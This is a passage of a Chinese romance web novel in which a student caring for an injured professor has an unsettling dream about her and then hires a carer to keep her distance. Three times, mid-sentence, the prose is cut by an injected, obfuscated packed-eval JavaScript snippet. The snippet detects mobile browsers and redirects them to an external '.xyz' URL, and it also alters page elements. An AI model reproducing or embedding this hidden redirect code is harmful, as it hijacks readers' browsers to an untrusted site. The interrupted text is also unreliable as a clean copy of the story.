她总觉有些什么地方怪怪的,江羡寒为什么会这么好心帮她擦衣服,不会是因为今天自己给她打饭了吧。 这也太客气了,再说,她还是蹭江羡寒的卡吃的饭。 两个人这几天一来二去,也算是发展成了朋友,江羡寒怎么还跟自己这么见外。 “江教授,我记得下午最后一节课是你的,那我们就先回家睡个午觉吧。” 江羡寒到现在仍然感到有些意外,她没想到季裴竟然会为了她做到这个份上。 一开始她沾沾自喜,整颗心都快飘到天上去了。 后来一想到季裴本来就是这样的性格,对朋友对亲人负责又温柔,心理就开始不平衡起来。 但是她现在没名没份,只能算是季裴身边,一个关系还算不错的朋友,她根本没资格提出质疑。 粉发女孩也跟着一起进了电梯,季裴两只手扶着轮椅,不知不觉就和对方对视了一眼。 女孩似乎想说些什么,这个时候电梯门开了,季裴推着江羡寒走了出去。 “你真的不需要我给你洗吗?” 女孩的眼神看起来似乎有些可怜,季裴却觉得她有些莫名其妙的。 明明都说了不需要,自己随便处理一下就可以,却没想到似乎被缠上了一样。 “不用,谢谢你。” “可是……” 话还没说完,季裴推着江羡寒就走了。 江羡寒坐在轮椅上,头一次感受到这么快的速度。 在无人看见的角落,她的唇角微微上扬了一个不易察觉的角度。 白茵住在教职工宿舍,吃完饭就回去睡午觉了。 林荫道上来来往往的学生还不少,季裴和江羡寒处在中间,显得格格不入。 两个人的搭配是前所未有的新奇,尤其是江羡寒,学院绝大多数人都知道她,也知道她长什么样子。 季裴一路上都能听到不少的窃窃私语和八卦,经过这一上午,她差不多已经百毒不侵,做到见怪不怪了。 到了停车位,季裴扶着江羡寒坐上副驾驶,她把轮椅折叠起来,收进了后备箱。 车载音响自动连上了季裴的歌单,一开始是一首舒缓的纯音乐。 播放完毕后,又是一首好听的前奏,季裴听着觉得有些耳熟,不过她也没想太多。 这首歌进到副歌的时候,季裴轻轻眨了眨眼睛。 “我无法只是普通朋友……” “感情已那么深……” 季裴:“……” 她现在关掉音响会不会有些欲盖弥彰啊。 季裴偷偷看了一眼副驾驶上的江羡寒,发现对方好像并没有多想,松了一口气。 这口气还没松完,她就听见江羡寒突然开口说:“这首歌还挺好听的。” 季裴:“……” 季裴笑了笑,说:“是啊,我歌单里收藏的。” 本来以为这个插曲很快就会过去,季裴又听见江羡寒说:“叫什么名字啊?” “这个……” 季裴舔了舔嘴唇,还没来得及开口说话,江羡寒就又说了一句话。 “普通朋友,原来叫这个名字。” 等这一首歌播放完后,季裴也开车回到了别墅小区,把车停在车库后,她赶紧关掉了音响。 王妈听见声音后来到车库,帮季裴拿出后备箱的轮椅。 季裴推着江羡寒进了客厅,王妈早就准备好了饭后水果,放在餐桌上。 江羡寒坐在餐桌前吃了几颗车厘子,唇角沾染了鲜红的汁液。 季裴本来想装作没看见的,但是她最后还是没忍住,用手指了指自己的唇角。 “江教授,你的嘴上粘了东西。” 江羡寒抽出纸巾擦了擦嘴角,这下季裴心里终于舒服点了。 吃完餐后水果,江羡寒见季裴拿着包,似乎是准备离开这里。 “你要去哪儿?” “江教授,你先睡午觉吧。” 江羡寒疑惑道:“你不睡吗?” 她还以为季裴是要回去睡午觉,却听见对方说:“我在这里睡,刚才已经提前让王妈把二楼卧室打扫干净了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13948420|146291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 江羡寒点点头,季裴把包挂在门上,定了个闹钟。 把江羡寒送回卧室后,季裴一只手扶着门板,笑着说:“江教授,你好好睡,到时候我叫你起床。” 季裴从小就有午睡的习惯,睡一觉过后,精神百倍,就算是只有半小时时间也不能浪费。 季裴走后,江羡寒从轮椅上站了起来。 她的脚踝已经不怎么疼了,就连她自己都震惊她的自愈能力。 估计要不了一个星期,她就能非常顺利地下地走路了。 江羡寒坐在床上,脱掉外衣,脑子里乱成了一锅浆糊,随后她又躺了下来,睁着眼睛,久久无法入睡。 · 季裴很快就睡着了,她做了一个非常真实的梦。 她梦到自己和冬日见面了,对方穿着一条红色长裙,身姿摇曳,风情万种。 两人站在柔软的粉色云朵上,季裴既害羞又紧张,站在原地不敢动,两条腿没办法迈开。 隔着朦胧暧昧的云雾,那道红色身影渐渐向她靠近,季裴整颗心都快跳到了嗓子眼。 一只修长漂亮的手缓缓伸向她,柔软的指尖轻轻擦过她的咽喉,顺着肌肤向上,抚摸着她的下巴。 季裴闭上眼睛,任由那只手,从她的脖颈转移到下巴,之后由耳垂到唇角。 淡红柔软的唇角被指腹缓缓摩擦,指尖在她温热的嘴唇上磨蹭片刻,她的下巴被一只手轻轻抬了起来。 在即将亲上去的那一瞬间,朦胧的雾气消散,冬日的脸也逐渐清晰起来。 季裴缓缓睁开眼睛。 只是那一瞬间,季裴脸色大变,浑身发麻,下意识想往后退,两条腿却仿佛灌满了水泥般动弹不得。 她看见冬日那张模糊的脸,随着明灭的光影变化,变成了江羡寒那张冷淡禁欲的脸。 “啊——” 季裴叫了一声,猛地从床上坐起来,睁开了眼睛。 她的后背已经被汗水浸湿了,窗户开着,被凉风一吹,瞬间变成了冷汗。 季裴坐在床上一动不动,两只手使劲儿揉搓着自己的脸,努力让自己保持清醒。 她怎么会梦到江羡寒呢…… 22.诱拐 下午两点半,季裴被噩梦吓醒。 她抬起手腕一看,还没到闹钟响起的时间,这也就是说,她短短半个小时之内,做了一个这么长的梦。 季裴浑浑噩噩下了楼,走路的两条腿都有些发软。 来到厨房后,她倒了满满一杯冰块,加了冷白开,坐在椅子上小口小口地喝着。 在这之前,季裴已经用冷水洗过脸了,试图让自己好好清醒清醒。 在厨房添菜的王妈见到季裴喝冷水,忍不住说了两句。 “你们年轻人啊就是不爱惜身体,这种天气降温降得厉害,喝冷水万一冻感冒了怎么办。” 季裴笑了笑:“我喝点凉水,精神一下。” 王妈用抹布擦干桌子上的水,继续说:“不是说江教授下午三点半的课吗,大小姐您怎么这么早就起来了?” 季裴有些心虚,喝了一口冰水:“我睡不着,出来坐会儿,好久没回来了,有点认床。” 季裴这两天只是给江羡寒送饭,王妈其实是会做饭的,可季裴却忘了这回事。 她看了一眼被王妈塞得满满当当的冰箱,心想,既然这样的话,那她以后就不来送饭了。 季裴随口一问:“王妈,你说江教授这个人怎么样啊?” 王妈笑得合不拢嘴,说:“我还是第一次接触江教授这样的人,一开始我看她样子冷冰冰的,以为不好惹,谁知道人家可好说话了,脾气好得很。” 既然连只短短接触过两天的王妈都这样说了,那就说明江羡寒这个人是真的不错。 没有架子,也不会瞧不起人,对所有人都是一概而论。 等王妈收拾完厨房后,季裴叹了一口气,把水杯放下,开始怀疑人生。 她怎么会梦到江羡寒呢? 她为什么会把江羡寒的脸,带入到冬日身上呢? 难不成是内心的潜意识在作祟,它觉得自己太对不起扭伤脚的江羡寒了,所以就连做梦也能梦到她。 但是为什么会是这种梦啊。 这算是春梦吗? 不算吧…… 季裴坐在沙发上,两只手捧着手机开始忏悔。 她用玻璃杯贴在自己的脸颊上,接着点开了和冬日的聊天记录,两只手抓着头发,看起来十分痛苦。 本来是想和冬日聊天的,但是现在这种情况下,季裴还是放下了手机。 结实冰凉的冰块在牙齿上摩擦着,季裴狠狠咬碎那块冰吞了下去,推开门走出去,来到了外面的花园。 现在已经是深秋了,红枫似火。 季裴刚出门就被吹落下来的叶子砸中了脑袋,她捏着这片红色枫叶,背面一转过来,一只大蜘蛛爬在上面,吓得她猛地就甩了出去。 “……” 果然,人倒霉的时候,捡一片树叶碰到虫子的概率都有可能是百分百。 · 下午三点,季裴来到江羡寒卧室门外,伸出右手准备敲门。 她其实十分钟之前,就已经站在门口了,一直在给自己做足充分的思想准备。 在即将敲上去的那一瞬间,王妈不知道什么时候来到了她的背后,小声说:“大小姐,你是要叫醒江教授吗?” 季裴心脏猛猛地跳了几下,站到王妈身后,说:“王妈,你帮我叫江教授起床吧。” 她说完就跑了出去,只剩下一头雾水的王妈站在原地不知所措。 真是奇怪,十分钟前她就看见大小姐站在门口徘徊,迟迟不敢敲门进去,该不会是两人之间发生了什么矛盾吧。 王妈想着想着,敲了敲门,叫江羡寒起床了。 · 江羡寒醒来第一眼没有看见季裴,感到有些诧异,不过很快她就意识到,季裴也没什么义务时时刻刻都守在她身边。 王妈推着江羡寒的轮椅出了门,来到车库,江羡寒终于看见了坐在主驾驶上的季裴。 对方正趴在方向盘上,面无表情地注视着眼前的一处地方,直到副驾驶门被打开后,她才反应过来。 “江教授,小心一点。” 季裴看了一眼江羡寒,这次没有像之前一样握着对方的手,而是抓住了她的袖口处,尽量和江羡寒减少肢体接触。 江羡寒已经察觉出来了季裴身上淡淡的疏离,明明上午还是好好的,怎么睡了一个午觉,就跟变了个人似的。 “你怎么了?脸色看着不太好?中午没睡好做噩梦了?” 季裴听见“做梦”这两个字后,浑身仿佛窜过一丝细小的电流,她恨不得现在就推门跳车逃跑。 不过她现在是个成年人,做梦又不算是什么难以启齿的事情,她为什么要这么害怕江羡寒。 季裴深吸一口气又呼出去,努力把自己的表情变得自然起来。 “嗯,做了个噩梦,醒了就睡不着了。” 见季裴现在的状态,江羡寒一眼就能看出她心虚的模样,只不过还在强撑罢了。 年纪还是小,心里有什么事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13958686|146291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情就是藏不住。 江羡寒唇角微微勾起,这种状况下的季裴,只要和她稍微对视一眼,江羡寒就能猜出来她心里在想什么。 季裴下意识地抗拒,连她的手都不想碰。 睡觉之前还说三点叫她起床,接过叫醒她的居然是王妈。 此地无银三百两,江羡寒猜测,季裴一定是做梦梦到自己了。 具体做的是什么梦她不知道,不过能让季裴这么避讳,还不敢直视自己,那就说明她做贼心虚,而且做的还不是什么好梦。 江羡寒偏过头,悄悄看了一眼季裴,对方也恰好这个时候,欲盖弥彰地把头扭了过去。 更可疑了,江羡寒现在知道,季裴应该是做梦梦到了和她相关的事情,所以才会这么避着她。 不过更可爱的是,季裴在心理煎熬那么强烈的情况下,还是愿意送她去学校。 江羡寒两只手放在腿上,右脚晃了晃,正好被转头偷看的季裴给抓包。 “江教授,你的脚不能动。” 江羡寒唇角含笑:“其实,我已经好很多了,我觉得马上就可以走路了。” 季裴顺着江羡寒的话继续说下去:“那我过几天就不来了。” 江羡寒唇角的笑容逐渐凝固,恨不得给自己一巴掌,她好好的为什么要说这种话。 一路上,两人都没什么话可说,季裴表面上看起来专心开车,实际上心乱如麻。 她觉得自己很对不起冬日,但是又没办法不管江羡寒。 车子缓缓进入校园内,她把保时捷停在了早上的停车位上。 刚刹车准备解开安全带,江羡寒的左手缓缓朝着季裴伸了过去,身体也靠着往左边倾斜。 一股淡淡的香气袭来,季裴在内后视镜看见了对方的手指,瞳孔骤缩。 季裴一只手紧紧抓着安全带,仿佛一只随时随地准备炸毛的猫,试图在人类伸过来的那只手上,狠狠来上一爪垫。 耳边仿佛轻轻拂过一阵风似的,碎发摩擦着季裴的耳廓,痒丝丝的。 江羡寒在季裴发作之前,捏着那一片细小的白色羽毛,嘴角上扬。 “你的头发上粘了一片羽毛。” “谢谢。” 季裴小声说了句谢谢,解开安全带,下车的速度比兔子窜得还快。 江羡寒看见她头发后的耳朵都红了,唇角露出一抹志在必得的笑。 啧。 小孩子真是不经撩,她还什么都没做呢。 23.暧昧 下午的课是专业课,教室里人并不多。 季裴没有和上午公开课那样,在教室里旁听,她跟江羡寒打了声招呼以后,就跑到湖边散心去了。 驼色风衣上那块污渍还在,季裴下午忘记换衣服了。 一看见这块深色的污渍,她就没忍住想到了江羡寒修长白皙的手指,然后…… 然后又顺其自然地想到了她午睡时做的那个梦。 季裴手臂上起了一层鸡皮疙瘩,她坐在长椅上玩手机,掐着点等下课时间。 她和江羡寒之间的关系是不是有点暧昧了。 季裴盯着湖面上那几只游来游去的黑天鹅,仔细回想这几天发生的事情,她对江羡寒是不是太负责了点。 要不,干脆给她请个护工吧。 以后一日三餐都交给王妈来做,她再请一个专业的护工照顾江羡寒,比自己有用多了。 想到这里,季裴给叶文竹发了消息,问她有没有靠谱的护工推荐。 叶文竹:【怎么了?你也坐轮椅了?】 季裴:【你就不盼着我点好的,我是给江羡寒找的】 叶文竹:【你不是免费给人家当护工吗,怎么不继续当下去了】 季裴看着这句话,又陷入了苦恼之中,她叹了一口气打字回答。 季裴:【我总感觉她好像对我有点意思】 季裴把这条消息发出去之后,怎么看怎么感觉不对劲,于是又赶紧撤了回来。 她咬着下嘴唇,重新编辑消息。 叶文竹:【?】 叶文竹:【你撤了什么】 季裴:【没什么,打错字了】 季裴:【我觉得有点累,还是请护工吧】 这个理由倒是像那么回事了。 叶文竹:【我这正好有人,等会儿我把她微信推给你】 很快,叶文竹就把护工的微信推过来了。 季裴加了护工的微信,和她聊了一会儿,谈好了价钱,给她发了地址,让她下午六点过来。 她点开和江羡寒的聊天界面,准备把护工微信发给她,找个理由告诉她,自己这几天有事,照顾不了她。 编辑完以后,季裴还是没有发出去,她决定先斩后奏,等江羡寒问了再说。 校园里流浪猫非常多,季裴坐在长椅上,来来回回被好几只流浪猫搭讪。 一只嗲里嗲气的三花猫夹着嗓子叫,使劲儿用头去蹭季裴的小腿,还翻起毛茸茸的肚皮在草地上打滚。 季裴把它抱了起来,放在小腿上,用手指抚摸着它的脑袋。 似乎是想到了什么,季裴打开自己的包,在夹层里找到了两袋小鱼干,拿出一根喂给小三花。 这是家里煤球和雪媚娘最爱吃的牌子,季裴买了很多,出门也随手拿几包放在包里。 小三花嗅了嗅鱼干,乖巧地坐在季裴身上,小口优雅地吃着。 小鱼干飘出去的香味,吸引了附近更多的猫咪,甚至还吸引来了一条狗。 季裴把两包小鱼干都打开,平均分给所有猫狗,一只猫一条鱼干,那只狗子她给了两只。 最后,季裴被五六只猫团团围住,甚至还有大胆的猫咪,直接跳到了她的肩膀上,趴在上面给季裴舔毛。 季裴被热情的小猫咪舔得头发痒痒的,她本想站起来去别的地方坐,结果她走到哪,那只猫跟到哪。 季裴见它趴在自己肩头咕噜噜地打呼噜,心底一个邪恶的念头渐渐浮现。 要不,把它带回家? 不行,家里已经有两只了,而且那两只既贪吃又爱打架,新成员加入的话,保不定会被揍得很惨。 下课铃响起,季裴把这只小猫咪抱了下来放在椅子上,摸了摸它的头。 “咪咪啊,我要走喽,我们下次再见。” 等季裴来到教学楼下,白茵已经推着江羡寒下来了。 季裴并没有接过江羡寒的轮椅,而是跟在白茵身后,朝着停车位走去。 江羡寒一只手轻轻搭在她的肩膀上,轻轻拂去肩头的猫毛,用指尖捏起一根金黄色的毛发。 “你是不是去逗学校里的流浪猫了?” 季裴感受到了肩膀上的触感,不着痕迹地往边上躲了一下。 “是啊,它们还挺可爱的,我给它们喂了小鱼干,结果粘上我了。” 江羡寒唇角微微勾起:“学校这些流浪猫都是有编号和名字的,绝大多数脾气都很好,任人摸,但是有的比较凶,抓伤了好多人,好几只上了通缉令。” 季裴诧异道:“还有通缉令?” 江羡寒拿出手机,点开文件,找出那几只丧彪猫猫,指着最肥的那一只笑了笑。 “你看,这个叫王二虎,是只母猫,体格强壮,经常欺负弱小,还喜欢抓人,很多学生都避着它走。” 令季裴震惊的不是猫,而是江羡寒能随时随地找到这群猫的资料,甚至还有血型。 “原来江教授也喜欢猫啊。” 白茵闻言笑着说:“是啊,这些资料都是江教授整理的,她是我们学校猫猫协会的会长呢。” 季裴脸上的表情更震惊了:“会长?” 她不可置信地盯着江羡寒看,听见白茵又说:“这些猫都是江教授出钱绝育的,还设立了专门的投喂处呢。” 白茵继续说:“你别看这只王二虎平时那么凶,在外是丧彪,在江教授这里就是可爱夹子音小咪咪。” 没想到,江羡寒居然还有这样一面,季裴对她的好感又增加了不少。 · 季裴送江羡寒回了家。 这一路上两个人一句话都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13968164|146291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说,季裴总觉得有些尴尬,也不敢打开车载音响。 临走之前,季裴说了一句“好好休息”,拿着车钥匙就离开了别墅。 回去的路上,季裴一边开车一边胡思乱想。 她本想听音乐缓解一下内心的苦闷,结果一首快歌结束之后,又跳到了那首普通朋友。 季裴:“……” 她把车停在路边,又把这首歌从自己的歌单里给删掉了。 脑海中依旧回荡着这几天来发生的场景,越来越多的细节水落石出。 江羡寒该不会真的对她有意思吧。 会不会这只是自己的错觉呢,是她想多了。 但是如果真的没意思的话,她为什么要对自己做出那些令人误解的动作。 季裴深深地吸了一口气,决定以后还是和江羡寒保持距离,万一这件事是真的呢。 · 江羡寒回到卧室,站在那一扇落地窗前,盯着外面飘零的枫叶。 季裴今天的表现变得反常,应该是意识到了什么,所以才会突然间和她保持距离。 门外有人按门铃,王妈打开门后,发现门口站着一个一身蓝色衣服的年轻女人,看着打扮还有胸前的工牌,应该是个护工。 “你好,这里是季裴小姐的家吗,我是她请来的护工。” 江羡寒坐在沙发上,她扶了扶眼镜,听到这话以后,盯着电脑屏幕的眼睛微微眯起。 微信铃声响了两下,她打开一看,是季裴发来的消息。 季裴:【江教授,我这几天有点忙,给你请了个新护工,现在应该已经到了】 季裴:【她业务能力还挺熟练的,江教授你就放心吧】 江羡寒盯着这两行消息,眸子中闪过一丝不易察觉的失落。 女护工来到江羡寒面前,介绍了一下自己,江羡寒却说等有需要的时候会叫她,就让她先干自己的事情了。 合上笔记本,江羡寒闭上眼睛,脑海中闪现出一幕幕季裴躲着她的动作和表情。 季裴很想跟她划清界限,也不愿意和她有一点点的肢体接触。 江羡寒内心又是喜又是忧,这种复杂的情绪在她心里穿插着,又痒又难受。 今天是三十一号,明天就是十一月初了。 她曾经跟季风说,下个月她有时间就去找对方。 江羡寒打开分贝,点进季风的头像。 这个头像是前几天换的,对方不知从哪找来了两个情侣头像。 两只猫咪一人一个,江羡寒的这只戴着粉色蝴蝶结,季裴那只则扎着两个小辫,看起来是非常明显的情头。 江羡寒在手机屏幕上打字,删删改改了将近五分钟,眼神中闪过一丝苦恼,最后终于敲定。 冬日:【明天有空吗,我想见见你】